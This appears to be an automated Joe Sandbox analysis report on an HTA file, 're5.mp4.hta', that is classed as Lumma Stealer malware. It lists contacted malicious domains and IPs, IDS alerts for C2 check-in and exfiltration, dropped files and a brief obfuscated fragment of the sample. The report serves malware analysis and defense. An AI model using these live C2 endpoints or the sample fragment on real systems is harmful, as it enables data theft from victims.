http://crl.micro	powershell.exe, 00000009.00000002.3125696403.000000000782D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permissiblene.click/apiU)r	powershell.exe, 00000008.00000002.3009863831.0000000005520000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://klipvumisui.shop/int_clp_sha.txts	powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txtr	powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2058549903.0000000005B59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0	powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/h	powershell.exe, 00000008.00000002.3005785621.00000000030BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t1.awagam	powershell.exe, 00000002.00000002.2052003565.0000000002DC6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://certs.securetrust.com/CA0	powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t1.awagama2.org/Scheele.LRsq	powershell.exe, 00000002.00000002.2053184182.0000000005104000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://permissiblene.click:443/api	powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2053184182.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000004B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3040273310.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t1.awagama2.org/Scheele.pLRsq	powershell.exe, 00000002.00000002.2053184182.0000000005104000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.trustwave.com/TWGCA.crl0n	powershell.exe, 00000008.00000002.3010448615.000000000559C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.37.128	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false
188.114.97.3	t1.awagama2.org	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	permissiblene.click	European Union	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582681
Start date and time:	2024-12-31 09:24:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	re5.mp4.hta
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTA@12/10@3/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 97% Number of executed functions: 209 Number of non-executed functions: 98
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 764 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 4524 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6388 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:25:03	API Interceptor	81x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.37.128	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
188.114.97.3	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
188.114.96.3	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
klipvumisui.shop	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	#Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	installer_1.05_36.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.37.128
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	DIS_37745672.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://nutricarm.es/wp-templates/f8b83.php	Get hash	malicious	Unknown	Browse	104.21.96.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	RtU8kXPnKr.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	http://ghostbin.cafe24.com/	Get hash	malicious	Unknown	Browse	104.18.27.193
CLOUDFLARENETUS	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	DIS_37745672.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://nutricarm.es/wp-templates/f8b83.php	Get hash	malicious	Unknown	Browse	104.21.96.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	RtU8kXPnKr.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	http://ghostbin.cafe24.com/	Get hash	malicious	Unknown	Browse	104.18.27.193
CLOUDFLARENETUS	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	DIS_37745672.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.247.203
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://nutricarm.es/wp-templates/f8b83.php	Get hash	malicious	Unknown	Browse	104.21.96.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	RtU8kXPnKr.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	http://ghostbin.cafe24.com/	Get hash	malicious	Unknown	Browse	104.18.27.193

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	188.114.97.3
	Epsilon.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	XClient.exe	Get hash	malicious	XWorm	Browse	188.114.97.3
	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	188.114.97.3
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3
	random.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Supplier.bat	Get hash	malicious	Unknown	Browse	188.114.97.3
a0e9f5d64349fb13191bc781f81f42e1	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	Set-up.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	104.21.37.128 188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	ReploidReplic.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 188.114.96.3

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0505636700495735
Encrypted:	false
SSDEEP:	3:Nlllul2/Z:NllU
MD5:	AA975DFAF7DC245B492F5CD872985B48
SHA1:	AE2443AD46011F60DCF5A88401B28B678FB57F5C
SHA-256:	8590E560AF3B6CC3CF1159B19C3F594B704E40A1C469468CD5E176396243FDCA
SHA-512:	8B62B08C97F08D86116D3DCC795748BBF3FB5462BE17BF5C8F07C276057DC7F40E8DAE33B1B4DF0FA25F047A001176AC21663FE4E3F73724F80B13C80B89F04E
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bx3rafs1.rjz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_csobo3ty.mtt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewdh2eez.2kr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnzqldrd.xn1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iywgb2on.4jq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kajqpz2u.1kt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlagyugm.hwp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ruqxmczv.csk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	data
Entropy (8bit):	6.103636682011715
TrID:
File name:	re5.mp4.hta
File size:	540'101 bytes
MD5:	5697159735d484d2d4fff3ef06aa6f62
SHA1:	98d8b2509628ab131345992f2d43241913d12557
SHA256:	3098a9c50afcd478c3eeb9b12b3794109c0f3652263bcaf8b0077c413188e4da
SHA512:	c103ee3d2bf6b8e8b649d6b1676e84486d53f2ea03de8827247fb05d3421cb9563b1dadd9e95ce8418d7e19f793a1676bb6e983c7ede5b5eed260e42a73fd448
SSDEEP:	6144:dKqpsbLbkARe7CepXY5eUfdemme0629ecUT5sgIqevBReYbC:HQsu
TLSH:	0AB4B0465A730614D87DC974EEDBCA282071BDC84C0587AE4ACDB43530AB5B87ED6AFC
File Content Preview:	66y75T6eF63o74D69K6fM6eg20Z70s56U72Q53n78Q51C28G6aZ44K58Q49k29Q7bt76f61Z72J20n57O64M63p78S4fq6aB3dm20m27X27K3bX66I6fK72Z20E28i76J61w72M20T52Q4fH6aF70t68d20r3dA20a30N3bF52o4fg6ae70Q68v20z3cq20H6aC44T58d49A2es6cr65i6eR67A74r68g3bh20j52i4fM6aq70X68H2bG2bw29o

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T09:26:21.640161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49983	188.114.96.3	443	TCP
2024-12-31T09:26:22.107850+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49983	188.114.96.3	443	TCP
2024-12-31T09:26:22.107850+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49983	188.114.96.3	443	TCP
2024-12-31T09:26:22.578264+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49984	188.114.96.3	443	TCP
2024-12-31T09:26:22.998796+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49984	188.114.96.3	443	TCP
2024-12-31T09:26:22.998796+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49984	188.114.96.3	443	TCP
2024-12-31T09:26:23.554736+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49986	188.114.96.3	443	TCP
2024-12-31T09:26:24.095583+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49986	188.114.96.3	443	TCP
2024-12-31T09:26:24.607228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49987	188.114.96.3	443	TCP
2024-12-31T09:26:25.693614+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49988	188.114.96.3	443	TCP
2024-12-31T09:26:28.157830+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49989	188.114.96.3	443	TCP
2024-12-31T09:26:29.077559+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49990	188.114.96.3	443	TCP
2024-12-31T09:26:30.056629+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49991	188.114.96.3	443	TCP
2024-12-31T09:26:31.060161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49992	188.114.96.3	443	TCP
2024-12-31T09:26:31.514585+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49992	188.114.96.3	443	TCP
2024-12-31T09:26:32.005168+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49993	104.21.37.128	443	TCP
2024-12-31T09:26:32.385525+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	104.21.37.128	443	192.168.2.5	49993	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:25:04.829067945 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:04.829101086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:04.829173088 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:04.835644007 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:04.835663080 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.401141882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.401474953 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.404705048 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.404716015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.404952049 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.417901993 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.463340044 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800460100 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800503969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800535917 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800560951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800565004 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.800585985 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800800085 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.800807953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.800904036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.801067114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.801354885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.801398993 CET	443	49707	188.114.97.3	192.168.2.5
